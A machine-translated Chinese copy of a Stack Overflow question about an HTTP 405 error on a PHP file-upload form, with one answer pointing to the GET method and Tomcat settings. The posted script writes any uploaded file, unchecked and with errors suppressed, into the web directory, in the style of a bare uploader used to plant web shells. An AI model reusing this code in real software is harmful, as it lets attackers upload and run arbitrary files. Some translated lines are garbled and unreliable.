首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >问答首页 >HTTP状态405 -不支持请求方法'POST‘-文件上载

HTTP状态405 -不支持请求方法'POST‘-文件上载
EN

Stack Overflow用户
提问于 2014-11-16 15:13:28
回答 1查看 796关注 0票数 0

HTTP状态405 -请求方法'POST‘不支持

类型状态报告

不支持消息请求方法'POST‘

描述被请求的资源不允许指定的方法。

Apache /7.0.42 apk英迪尔主页供单击。

代码语言:javascript
运行
复制
<?php
if(isset($_POST['Submit'])){
    $filedir = ""; 
    $maxfile = '2000000';

    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if (isset($_FILES['image']['name'])) {
        $abod = $filedir.$userfile_name;
        @move_uploaded_file($userfile_tmp, $abod);

echo"<center><b>Done ==> $userfile_name</b></center>";
}
}
else{
echo'
<form method="GET" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
}
?>
EN

回答 1

Stack Overflow用户

发布于 2014-11-17 02:55:46

参考http-获取-请求-主体这张桌子比较GET和POST。

GET方法不携带有意义的主体,因此不支持多部分或文件上载。这是浏览器以POST请求的方式发送的。

确保servlet的web-resource-collection文件中的web.xml标记包含<http-method>POST</http-method>,这样Tomcat将允许您的POST请求。

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/26958463

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档